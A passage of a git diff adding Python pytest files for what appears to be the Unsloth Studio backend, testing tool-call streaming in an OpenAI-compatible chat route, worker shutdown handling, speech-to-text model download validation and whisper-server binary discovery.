+def test_server_tool_streaming_invalid_event_is_error(monkeypatch):
+    class _InvalidEventBackend(_ScriptedBackend):
+        def __init__(self):
+            super().__init__(_fixed())
+
+        def generate_chat_completion_with_tools(self, **_kwargs):
+            yield {"type": "content", "text": "partial"}
+            yield "not-an-event"
+
+    backend = _InvalidEventBackend()
+    payload = _request(tools = [LOOKUP_TOOL], enable_tools = True, stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+
+    errors = [o["error"]["message"] for o in objs if "error" in o]
+    assert errors == ["An internal error occurred."]
+
+
+def test_streaming_repeated_snapshot_no_duplicate_call(monkeypatch):
+    # Repeated then shrunk cumulative snapshots must not double-heal.
+    backend = _ScriptedBackend(_fixed(_CALL_XML, _CALL_XML, _CALL_XML[:5], _CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+
+
+def test_streaming_parallel_cap(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML))
+    payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = True, parallel_tool_calls = False)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+    assert tool_deltas[0]["function"]["name"] == "lookup"
+
+
+def test_streaming_generator_error_closes_cleanly(monkeypatch):
+    def responder(messages, tools):
+        raise RuntimeError("boom /secret/path")
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    chunks = _collect_sse(response)
+    joined = "".join(c.decode() if isinstance(c, bytes) else c for c in chunks)
+    assert "An internal error occurred" in joined
+    assert "secret/path" not in joined  # CWE-209: no path leak
+    assert backend.reset_count >= 1
+
+
+def test_streaming_disconnect_resets_once(monkeypatch):
+    class _DisconnectRequest(_Request):
+        async def is_disconnected(self):
+            return True
+
+    backend = _ScriptedBackend(_fixed("a", "ab", "abc"))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    _install(monkeypatch, backend)
+
+    async def _run():
+        resp = await openai_chat_completions(
+            payload, request = _DisconnectRequest(), current_subject = "u"
+        )
+        return [c async for c in resp.body_iterator]
+
+    asyncio.run(_run())
+    assert backend.reset_count == 1
+
+
+def test_mlx_uses_same_path(monkeypatch):
+    # MLX and safetensors share get_inference_backend(); one scripted backend covers both.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["finish_reason"] == "tool_calls"
+
+
+def test_tool_choice_none_does_not_advertise_tools(monkeypatch):
+    # tool_choice="none": no tools rendered into the template; history templating still applies.
+    backend = _ScriptedBackend(_fixed("plain answer"))
+    payload = _request(tools = [LOOKUP_TOOL], tool_choice = "none", stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "plain answer"
+    assert backend.calls[0]["tools"] is None
+
+
+def test_developer_message_folded_into_system_prompt(monkeypatch):
+    # The "developer" role folds into one leading system message (local templates reject it).
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        messages = [
+            ChatMessage(role = "developer", content = "always be terse"),
+            ChatMessage(role = "user", content = "hi"),
+        ],
+        tools = [LOOKUP_TOOL],
+        stream = False,
+    )
+    _call(payload, monkeypatch, backend)
+    sent = backend.calls[0]["messages"]
+    assert sent[0]["role"] == "system"
+    assert "always be terse" in sent[0]["content"]
+    assert all(m.get("role") != "developer" for m in sent)
+
+
+def test_failed_nudge_retry_keeps_original_response(monkeypatch):
+    # A raising retry must not 500; the first response is returned.
+    state = {"n": 0}
+
+    def responder(messages, tools):
+        state["n"] += 1
+        if state["n"] == 1:
+            return ['<tool_call>{"name":"lookup"']  # unhealable signal
+        raise RuntimeError("retry blew up")
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert state["n"] == 2
+    assert body["choices"][0]["finish_reason"] == "stop"
+    assert body["choices"][0]["message"]["content"] == '<tool_call>{"name":"lookup"'
+
+
+def test_discarded_nudge_retry_reports_first_attempt_usage(monkeypatch):
+    # Double-failure nudge: the first response is delivered, but the retry's
+    # generate() overwrites stats_holder. The monitor must record the FIRST
+    # attempt's usage, not the discarded retry's.
+    first_stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}}
+    retry_stats = {"usage": {"prompt_tokens": 99, "completion_tokens": 99, "total_tokens": 198}}
+
+    class _PerCallStatsBackend(_ScriptedBackend):
+        def __init__(self):
+            # Unhealable truncated markup on both attempts -> retry is discarded.
+            super().__init__(lambda m, t: ['<tool_call>{"name":"lookup"'])
+            self._stats_seq = [first_stats, retry_stats]
+
+        def generate_chat_response(
+            self,
+            *,
+            messages,
+            tools = None,
+            stats_holder = None,
+            **kwargs,
+        ):
+            self.calls.append({"messages": messages, "tools": tools, **kwargs})
+            stats = self._stats_seq[min(len(self.calls) - 1, len(self._stats_seq) - 1)]
+            if stats_holder is not None:
+                stats_holder["stats"] = stats
+            for snap in self._responder(messages, tools):
+                yield snap
+
+    backend = _PerCallStatsBackend()
+    payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    assert len(backend.calls) == 2  # first attempt + one discarded retry
+    [entry] = monitor.snapshot()
+    # The delivered response is the first attempt, so its usage must be reported.
+    assert entry["prompt_tokens"] == 7
+    assert entry["completion_tokens"] == 3
+
+
+def test_monitor_records_healed_call_not_raw_xml(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    snap = monitor.snapshot(include_details = True)
+    replies = json.dumps(snap)
+    assert "<tool_call>" not in replies
+    assert "lookup" in replies
+
+
+def test_streaming_monitor_records_healed_call_not_raw_xml(monkeypatch):
+    # Monitor mirrors what the client received, never the healed-away raw markup.
+    backend = _ScriptedBackend(
+        _fixed("Sure. ", 'Sure. <tool_call>{"name": "loo', "Sure. " + _CALL_XML)
+    )
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    response = asyncio.run(_run())
+    _collect_sse(response)
+    replies = json.dumps(monitor.snapshot(include_details = True))
+    assert "<tool_call>" not in replies
+    assert "Sure. " in replies
+    assert "[tool_calls] lookup(" in replies
+
+
+def test_forced_tool_choice_narrows_templated_tools(monkeypatch):
+    # A forced function is the only schema rendered into the template.
+    backend = _ScriptedBackend(_fixed(_SEARCH_XML))
+    payload = _request(
+        tools = [LOOKUP_TOOL, SEARCH_TOOL],
+        stream = False,
+        tool_choice = {"type": "function", "function": {"name": "search"}},
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    templated = backend.calls[0]["tools"]
+    assert [t["function"]["name"] for t in templated] == ["search"]
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "search"
+
+
+def test_multimodal_content_parts_flattened_for_local_template(monkeypatch):
+    # Remote image URLs leave image=None, so content arrives as a part LIST:
+    # text parts are kept, the image part dropped.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(
+        messages = [
+            ChatMessage(
+                role = "user",
+                content = [
+                    {"type": "text", "text": "what is this?"},
+                    {
+                        "type": "image_url",
+                        "image_url": {"url": "https://example.com/cat.png"},
+                    },
+                ],
+            )
+        ],
+        tools = [LOOKUP_TOOL],
+        stream = False,
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    templated = backend.calls[0]["messages"]
+    assert all(isinstance(m.get("content"), str) for m in templated)
+    assert any(m["content"] == "what is this?" for m in templated)
+    assert body["choices"][0]["finish_reason"] == "tool_calls"
+
+
+def test_string_arguments_history_deserialized_for_template(monkeypatch):
+    # JSON-string tool_calls arguments become dicts in the templated copy;
+    # the HTTP response stays OpenAI-shaped.
+    backend = _ScriptedBackend(_fixed("done"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "weather?"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": '{"q": "weather"}'},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"),
+        ],
+    )
+    _json_body(_call(payload, monkeypatch, backend))
+    assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant")
+    assert assistant["tool_calls"][0]["function"]["arguments"] == {"q": "weather"}
+
+
+def test_unparseable_arguments_string_left_untouched(monkeypatch):
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "hi"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": "not json {"},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "ok"
+    assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant")
+    assert assistant["tool_calls"][0]["function"]["arguments"] == "not json {"
+
+
+def test_mcp_enabled_without_server_tools_uses_passthrough(monkeypatch):
+    # mcp_enabled=true with an empty registry must not silently drop the
+    # declared tools; the gate keys on the server-side path claiming the request.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, mcp_enabled = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+    assert backend.calls[0]["tools"] == [LOOKUP_TOOL]
diff --git a/studio/backend/tests/test_shutdown_preserves_live_worker.py b/studio/backend/tests/test_shutdown_preserves_live_worker.py
new file mode 100644
index 0000000000..faf273411c
--- /dev/null
+++ b/studio/backend/tests/test_shutdown_preserves_live_worker.py
@@ -0,0 +1,145 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""_shutdown_subprocess returns whether the worker actually died, and preserves the
+live handle when it survives terminate/kill.
+
+A GPU worker wedged in an uninterruptible CUDA syscall can outlive SIGKILL. If shutdown
+nulled its handle anyway, is_worker_alive() would report False and the pre-swap liveness
+guard would let the destructive .venv_t5_latest rename proceed while a live worker still
+holds sidecar transformers modules (breaking the rename on Windows). The methods must keep
+the handle and return False so callers can refuse the swap.
+"""
+
+import pytest
+
+from core.export.orchestrator import ExportOrchestrator
+from core.inference.orchestrator import InferenceOrchestrator
+
+
+class _FakeProc:
+    """A subprocess handle that dies only on the requested step (or never)."""
+
+    def __init__(self, dies_on = None):
+        self._alive = True
+        self._dies_on = dies_on  # None | "join" | "terminate" | "kill"
+
+    def is_alive(self):
+        return self._alive
+
+    def join(self, timeout = None):
+        if self._dies_on == "join":
+            self._alive = False
+
+    def terminate(self):
+        if self._dies_on == "terminate":
+            self._alive = False
+
+    def kill(self):
+        if self._dies_on == "kill":
+            self._alive = False
+
+
+def _bare_inference():
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    o._stop_dispatcher = lambda: None
+    o._cancel_generation = lambda: None
+    o._drain_queue = lambda: []
+
+    class _Q:
+        def put(self, *a, **k):
+            pass
+
+    o._cmd_queue = _Q()
+    o._resp_queue = _Q()
+    o._cancel_event = None
+    o._drain_event = None
+    return o
+
+
+def _bare_export():
+    o = ExportOrchestrator.__new__(ExportOrchestrator)
+    o._drain_queue = lambda: []
+
+    class _Q:
+        def put(self, *a, **k):
+            pass
+
+    o._cmd_queue = _Q()
+    o._resp_queue = _Q()
+    return o
+
+
+@pytest.fixture(autouse = True)
+def _no_sleep(monkeypatch):
+    # _shutdown_subprocess sleeps 0.5s after cancelling; keep the tests instant.
+    import core.inference.orchestrator as inf_mod
+    monkeypatch.setattr(inf_mod.time, "sleep", lambda *_a, **_k: None)
+
+
+class TestInferenceShutdownReturn:
+    def test_worker_that_dies_returns_true_and_clears_handle(self):
+        o = _bare_inference()
+        o._proc = _FakeProc(dies_on = "terminate")
+        assert o._shutdown_subprocess(timeout = 0.01) is True
+        assert o._proc is None
+        assert o.is_worker_alive() is False
+
+    def test_survivor_returns_false_and_keeps_handle(self):
+        o = _bare_inference()
+        o._proc = _FakeProc(dies_on = None)  # outlives terminate AND kill
+        assert o._shutdown_subprocess(timeout = 0.01) is False
+        assert o._proc is not None
+        # is_worker_alive stays truthful, so the pre-swap guard can refuse the swap.
+        assert o.is_worker_alive() is True
+
+    def test_already_dead_returns_true(self):
+        o = _bare_inference()
+        o._proc = _FakeProc(dies_on = "join")
+        o._proc._alive = False
+        assert o._shutdown_subprocess(timeout = 0.01) is True
+        assert o._proc is None
+
+
+class TestExportShutdownReturn:
+    def test_worker_that_dies_returns_true_and_clears_handle(self):
+        o = _bare_export()
+        o._proc = _FakeProc(dies_on = "terminate")
+        assert o._shutdown_subprocess(timeout = 0.01) is True
+        assert o._proc is None
+        assert o.is_worker_alive() is False
+
+    def test_survivor_returns_false_and_keeps_handle(self):
+        o = _bare_export()
+        o._proc = _FakeProc(dies_on = None)
+        assert o._shutdown_subprocess(timeout = 0.01) is False
+        assert o._proc is not None
+        assert o.is_worker_alive() is True
+
+
+class TestSpawnPathsHonorFailedShutdown:
+    """A fresh-load path must not spawn a second worker over one that outlived
+    terminate/kill: the survivor still holds GPU memory and its handle would be lost."""
+
+    def test_export_load_checkpoint_aborts_when_worker_survives(self, monkeypatch):
+        import threading
+
+        import utils.transformers_version as tv
+
+        o = ExportOrchestrator.__new__(ExportOrchestrator)
+        o._lock = threading.RLock()
+        o._proc = _FakeProc(dies_on = None)  # survivor
+        o.clear_logs = lambda: None
+        o._cancel_requested = False
+        o._active_op_kind = None
+        o._export_active = False
+        o._ensure_subprocess_alive = lambda: True
+        o._shutdown_subprocess = lambda *a, **k: False
+        o._spawn_subprocess = lambda cfg: pytest.fail("must not spawn over a live survivor")
+        o._record_op_finished = lambda *a, **k: None
+        monkeypatch.setattr(tv, "sidecar_swap_in_progress", lambda: False)
+
+        ok, msg = o.load_checkpoint(checkpoint_path = "ckpt")
+
+        assert ok is False
+        assert "did not exit" in msg
+        # The finally cleared the op flags even though we returned early.
+        assert o._export_active is False
diff --git a/studio/backend/tests/test_slot_offload_fit.py b/studio/backend/tests/test_slot_offload_fit.py
index ac606e4627..d354c7e113 100644
--- a/studio/backend/tests/test_slot_offload_fit.py
+++ b/studio/backend/tests/test_slot_offload_fit.py
@@ -3,7 +3,7 @@
 
 """Tests for the offload-avoidance serving-slot reduction (`_slots_that_fit_on_gpu`).
 
-When a pinned context does not fit at the requested `--parallel` slot count, Studio would
+When a pinned context does not fit at the requested `--parallel` slot count, Unsloth would
 flip to `--fit on` and llama-server offloads layers to host RAM, collapsing decode ~3x
 (oobabooga #6718). Instead the loader retries the on-GPU fit at fewer slots and keeps the
 largest count that stays fully on GPU (`-ngl -1`). These tests drive the real helper with
diff --git a/studio/backend/tests/test_stt_download_validation.py b/studio/backend/tests/test_stt_download_validation.py
new file mode 100644
index 0000000000..a612b14531
--- /dev/null
+++ b/studio/backend/tests/test_stt_download_validation.py
@@ -0,0 +1,168 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The /audio/stt/download route must validate a custom Transformers repo before
+snapshot_download pulls it into the shared HF cache.
+
+Regression for a Codex finding: the Transformers engine accepts arbitrary
+`owner/model` repos, so an authenticated caller could make Studio download a
+large non-STT repository before load-time validation ever ran. Whisper-
+compatibility is now enforced (metadata-only, no weights) before the background
+download starts. The GGUF engine only accepts curated ids, so it is not gated.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import sys
+from pathlib import Path
+
+import pytest
+from fastapi import HTTPException
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+import core.inference.stt_ggml_sidecar as ggml_module  # noqa: E402
+import core.inference.stt_sidecar as stt_module  # noqa: E402
+import routes.inference as ri  # noqa: E402
+from core.inference.stt_sidecar import SttModelCompatibilityError  # noqa: E402
+from models.inference import SttLoadRequest  # noqa: E402
+
+
+def _run(coro):
+    return asyncio.run(coro)
+
+
+def test_custom_non_whisper_repo_is_rejected_before_download(monkeypatch):
+    started: list = []
+    validated: list = []
+
+    def fake_validate(model, hf_token = None):
+        validated.append(model)
+        raise SttModelCompatibilityError(
+            f"STT model '{model}' is not a compatible Transformers Whisper model."
+        )
+
+    def fake_download(model, hf_token = None):
+        started.append(model)
+
+    monkeypatch.setattr(stt_module, "validate_remote_model", fake_validate)
+    monkeypatch.setattr(stt_module, "start_model_download", fake_download)
+
+    with pytest.raises(HTTPException) as excinfo:
+        _run(
+            ri.stt_download(
+                SttLoadRequest(model = "owner/chat-model", engine = "transformers"),
+                current_subject = "tester",
+                hf_token = None,
+            )
+        )
+
+    assert excinfo.value.status_code == 422
+    assert validated == ["owner/chat-model"]
+    # The download never starts for a repo that failed the Whisper check.
+    assert started == []
+
+
+def test_validated_transformers_repo_downloads(monkeypatch):
+    started: list = []
+    revision = "a" * 40
+
+    monkeypatch.setattr(
+        stt_module,
+        "validate_remote_model",
+        lambda model, hf_token = None: {"model": model, "revision": revision},
+    )
+    monkeypatch.setattr(
+        stt_module,
+        "start_model_download",
+        lambda model, hf_token = None, revision = None: started.append((model, revision)),
+    )
+    monkeypatch.setattr(stt_module, "download_status", lambda: {"downloading": True})
+
+    resp = _run(
+        ri.stt_download(
+            SttLoadRequest(model = "owner/real-whisper", engine = "transformers"),
+            current_subject = "tester",
+            hf_token = None,
+        )
+    )
+
+    assert resp.status_code == 200
+    assert started == [("owner/real-whisper", revision)]
+
+
+def test_gguf_engine_skips_the_transformers_repo_check(monkeypatch):
+    started: list = []
+
+    def fail_if_called(model, hf_token = None):
+        raise AssertionError("GGUF downloads must not run the Transformers repo check")
+
+    # whisper-server present, so the GGUF request stays on the GGUF engine.
+    monkeypatch.setattr(ggml_module, "is_available", lambda: True)
+    monkeypatch.setattr(stt_module, "validate_remote_model", fail_if_called)
+    monkeypatch.setattr(
+        ggml_module, "start_model_download", lambda model, hf_token = None: started.append(model)
+    )
+    monkeypatch.setattr(ggml_module, "download_status", lambda: {"downloading": True})
+
+    resp = _run(
+        ri.stt_download(
+            SttLoadRequest(model = "small", engine = "gguf"),
+            current_subject = "tester",
+            hf_token = None,
+        )
+    )
+
+    assert resp.status_code == 200
+    assert started == ["small"]
+
+
+def test_resolve_serving_stt_engine_falls_back_when_whisper_server_absent(monkeypatch):
+    # A curated GGUF request downgrades to Transformers when whisper-server is not
+    # installed (both engines serve curated ids), but stays GGUF when it is.
+    monkeypatch.setattr(ggml_module, "is_available", lambda: False)
+    assert ri._resolve_serving_stt_engine("gguf") == "transformers"
+    monkeypatch.setattr(ggml_module, "is_available", lambda: True)
+    assert ri._resolve_serving_stt_engine("gguf") == "gguf"
+    # Transformers is unaffected by whisper-server availability.
+    monkeypatch.setattr(ggml_module, "is_available", lambda: False)
+    assert ri._resolve_serving_stt_engine("transformers") == "transformers"
+
+
+def test_gguf_download_falls_back_to_transformers_when_server_absent(monkeypatch):
+    """Selecting the default curated model on a host without whisper-server must
+    download through the Transformers engine, not 501/dead-end on GGUF."""
+    gguf_started: list = []
+    tf_started: list = []
+
+    monkeypatch.setattr(ggml_module, "is_available", lambda: False)  # no whisper-server
+    # validate_remote_model no-ops curated ids in production; keep it a no-op here.
+    monkeypatch.setattr(
+        stt_module, "validate_remote_model", lambda model, hf_token = None: {"model": model}
+    )
+    monkeypatch.setattr(
+        stt_module,
+        "start_model_download",
+        lambda model, hf_token = None, revision = None: tf_started.append(model),
+    )
+    monkeypatch.setattr(stt_module, "download_status", lambda: {"downloading": True})
+    monkeypatch.setattr(
+        ggml_module,
+        "start_model_download",
+        lambda model, hf_token = None: gguf_started.append(model),
+    )
+
+    resp = _run(
+        ri.stt_download(
+            SttLoadRequest(model = "small", engine = "gguf"),
+            current_subject = "tester",
+            hf_token = None,
+        )
+    )
+
+    assert resp.status_code == 200
+    assert tf_started == ["small"]  # served by Transformers instead of dead-ending on GGUF
+    assert gguf_started == []
diff --git a/studio/backend/tests/test_stt_ggml_sidecar.py b/studio/backend/tests/test_stt_ggml_sidecar.py
new file mode 100644
index 0000000000..686fd8f546
--- /dev/null
+++ b/studio/backend/tests/test_stt_ggml_sidecar.py
@@ -0,0 +1,780 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import http.server
+import io
+import json
+import os
+import sys
+import threading
+import time
+import wave
+from pathlib import Path
+
+import numpy as np
+import pytest
+
+import core.inference.stt_ggml_sidecar as ggml_module
+from core.inference.stt_ggml_sidecar import (
+    DEFAULT_GGML_STT_MODEL,
+    GGML_STT_MODELS,
+    GGML_STT_REPOS,
+    GgmlSttSidecar,
+    SttEngineUnavailableError,
+    find_whisper_server_binary,
+    resolve_ggml_model_id,
+)
+from core.inference.stt_sidecar import (
+    SttLanguageError,
+    SttLoadCancelledError,
+    SttModelIdError,
+    SttModelNotDownloadedError,
+    SttUnavailableError,
+)
+
+
+@pytest.fixture(autouse = True)
+def isolate_runtime_and_stub_audio_decoder(monkeypatch, tmp_path):
+    """Unit tests exercise orchestration, not PyAV container parsing."""
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path / "studio"))
+    monkeypatch.delenv("WHISPER_SERVER_PATH", raising = False)
+    monkeypatch.delenv("UNSLOTH_WHISPER_CPP_PATH", raising = False)
+    monkeypatch.setenv("PATH", "")
+    monkeypatch.setattr(
+        ggml_module,
+        "_decode_audio_bounded",
+        lambda audio: np.zeros(16000, dtype = np.float32),
+    )
+
+
+# ---------------------------------------------------------------------------
+# Model id resolution
+# ---------------------------------------------------------------------------
+
+
+def test_curated_ids_resolve():
+    for model_id in GGML_STT_MODELS:
+        assert resolve_ggml_model_id(model_id) == model_id
+
+
+def test_default_model_resolves_from_none_and_blank():
+    assert resolve_ggml_model_id(None) == DEFAULT_GGML_STT_MODEL
+    assert resolve_ggml_model_id("  ") == DEFAULT_GGML_STT_MODEL
+
+
+def test_custom_repo_ids_are_rejected():
+    with pytest.raises(SttModelIdError):
+        resolve_ggml_model_id("owner/model")
+    with pytest.raises(SttModelIdError):
+        resolve_ggml_model_id("large-v2")
+
+
+def test_curated_ids_mirror_transformers_sidecar():
+    from core.inference.stt_sidecar import STT_MODELS
+    assert list(GGML_STT_MODELS.keys()) == list(STT_MODELS.keys())
+
+
+def test_curated_filenames_match_repo_naming():
+    # unslothai/whisper-<id>-GGUF hosts whisper-<id>.bin; keep the download
+    # filename in lockstep with the repo so it resolves instead of 404ing.
+    for model_id, repo in GGML_STT_REPOS.items():
+        expected = repo.split("/", 1)[1].removesuffix("-GGUF") + ".bin"
+        assert GGML_STT_MODELS[model_id] == expected
+
+
+# ---------------------------------------------------------------------------
+# Binary discovery
+# ---------------------------------------------------------------------------
+
+
+def test_env_binary_override_wins(monkeypatch, tmp_path):
+    binary = tmp_path / "whisper-server"
+    binary.write_text("#!/bin/sh\n")
+    binary.chmod(0o755)  # find_whisper_server_binary requires an executable
+    monkeypatch.setenv("WHISPER_SERVER_PATH", str(binary))
+    assert find_whisper_server_binary() == str(binary)
+
+
+def test_env_dir_override_scans_layouts(monkeypatch, tmp_path):
+    monkeypatch.delenv("WHISPER_SERVER_PATH", raising = False)
+    build_bin = tmp_path / "build" / "bin"
+    build_bin.mkdir(parents = True)
+    binary = build_bin / "whisper-server"
+    binary.write_text("#!/bin/sh\n")
+    binary.chmod(0o755)  # find_whisper_server_binary requires an executable
+    monkeypatch.setenv("UNSLOTH_WHISPER_CPP_PATH", str(tmp_path))
+    assert find_whisper_server_binary() == str(binary)
+
+
+def test_missing_binary_reports_unavailable(monkeypatch, tmp_path):
+    monkeypatch.delenv("WHISPER_SERVER_PATH", raising = False)
+    monkeypatch.setenv("UNSLOTH_WHISPER_CPP_PATH", str(tmp_path / "nope"))
+    monkeypatch.setattr(ggml_module, "_managed_whisper_cpp_dir", lambda: tmp_path / "gone")
+    monkeypatch.setattr(ggml_module.shutil, "which", lambda name: None)
+    assert find_whisper_server_binary() is None
+    assert not ggml_module.is_available()
+    with pytest.raises(SttEngineUnavailableError):
+        ggml_module.ensure_engine_available()
+
+
+def test_non_executable_binary_is_not_runnable(monkeypatch, tmp_path):
+    if sys.platform == "win32":
+        pytest.skip("X_OK is an existence check on Windows")
+    binary = tmp_path / "whisper-server"
+    binary.write_text("#!/bin/sh\n")  # written but not chmod +x
+    monkeypatch.setenv("WHISPER_SERVER_PATH", str(binary))
+    monkeypatch.setattr(ggml_module.shutil, "which", lambda name: None)
+    assert find_whisper_server_binary() is None
+
+
+# ---------------------------------------------------------------------------
+# Slim-install launch guard
+# ---------------------------------------------------------------------------
+
+
+def _slim_install(
+    tmp_path,
+    *,
+    install_kind = "slim",
+    with_ggml = True,
+    linked_libraries = None,
+    backend = "cpu",
+    linked_runtime_directories = None,
+    runtime_wiring_version = None,
+) -> str:
+    """A managed-looking install tree: marker at the root, server in build/bin."""
+    install_dir = tmp_path / "whisper.cpp"
+    bin_dir = install_dir / "build" / "bin"
+    bin_dir.mkdir(parents = True)
+    binary = bin_dir / "whisper-server"
+    binary.write_text("#!/bin/sh\n")
+    binary.chmod(0o755)
+    marker: dict = {
+        "schema_version": 1,
+        "component": "whisper.cpp",
+        "release_tag": "v1.9.1-unsloth.1",
+        "backend": backend,
+        "paired_llama_tag": "b10069-mix-fb3d4ca",
+    }
+    if install_kind is not None:
+        marker["install_kind"] = install_kind
+    if linked_libraries is not None:
+        marker["linked_libraries"] = linked_libraries
+    if linked_runtime_directories is not None:
+        marker["linked_runtime_directories"] = linked_runtime_directories
+        for name in linked_runtime_directories:
+            catalog = bin_dir / name
+            catalog.mkdir()
+            (catalog / "kernel.dat").write_bytes(b"kernel")
+    if runtime_wiring_version is not None:
+        marker["runtime_wiring_version"] = runtime_wiring_version
+    (install_dir / "UNSLOTH_WHISPER_PREBUILT_INFO.json").write_text(json.dumps(marker))
+    if with_ggml:
+        names = (
+            ("ggml.dll", "ggml-base.dll")
+            if sys.platform == "win32"
+            else ("libggml.so.0", "libggml-base.so.0")
+        )
+        for name in names:
+            (bin_dir / name).write_bytes(b"ggml")
+    return str(binary)
+
+
+def test_slim_guard_flags_missing_ggml_links(monkeypatch, tmp_path):
+    # A slim marker whose linked ggml runtime is gone must read as engine
+    # unavailable (reinstall), never crash into a server launch.
+    binary = _slim_install(tmp_path, with_ggml = False)
+    assert ggml_module.slim_runtime_intact(binary) is False
+    monkeypatch.setattr(ggml_module, "find_whisper_server_binary", lambda: binary)
+    assert not ggml_module.is_available()
+    with pytest.raises(SttEngineUnavailableError, match = "ggml"):
+        ggml_module.ensure_engine_available()
+
+
+def test_slim_guard_passes_with_links_in_place(monkeypatch, tmp_path):
+    names = ["libggml.so.0", "libggml-base.so.0"]
+    binary = _slim_install(tmp_path, with_ggml = True, linked_libraries = names)
+    assert ggml_module.slim_runtime_intact(binary) is True
+    monkeypatch.setattr(ggml_module, "find_whisper_server_binary", lambda: binary)
+    assert ggml_module.ensure_engine_available() == binary
+
+
+def test_slim_guard_verifies_the_marker_linked_libraries(monkeypatch, tmp_path):
+    # New markers record the exact wired filenames; one missing name flips the
+    # install to unavailable even when the legacy core ggml names are present.
+    names = ["libggml.dylib", "libggml-base.dylib", "libggml-metal.dylib"]
+    binary = _slim_install(tmp_path, with_ggml = True, linked_libraries = names)
+    bin_dir = Path(binary).parent
+    for name in names[:-1]:
+        (bin_dir / name).write_bytes(b"ggml")
+    assert ggml_module.slim_runtime_intact(binary) is False  # metal dylib absent
+    (bin_dir / names[-1]).write_bytes(b"ggml")
+    assert ggml_module.slim_runtime_intact(binary) is True
+    monkeypatch.setattr(ggml_module, "find_whisper_server_binary", lambda: binary)
+    assert ggml_module.ensure_engine_available() == binary
+
+
+def test_slim_guard_malformed_authoritative_marker_fails_closed(tmp_path):
+    for bad in ("not-a-list", [], [1, 2]):
+        root = tmp_path / f"case_{type(bad).__name__}_{len(str(bad))}"
+        root.mkdir()
+        binary = _slim_install(root, with_ggml = True, linked_libraries = bad)
+        assert ggml_module.slim_runtime_intact(binary) is False
+
+
+def test_slim_guard_prefers_authoritative_root_marker(tmp_path):
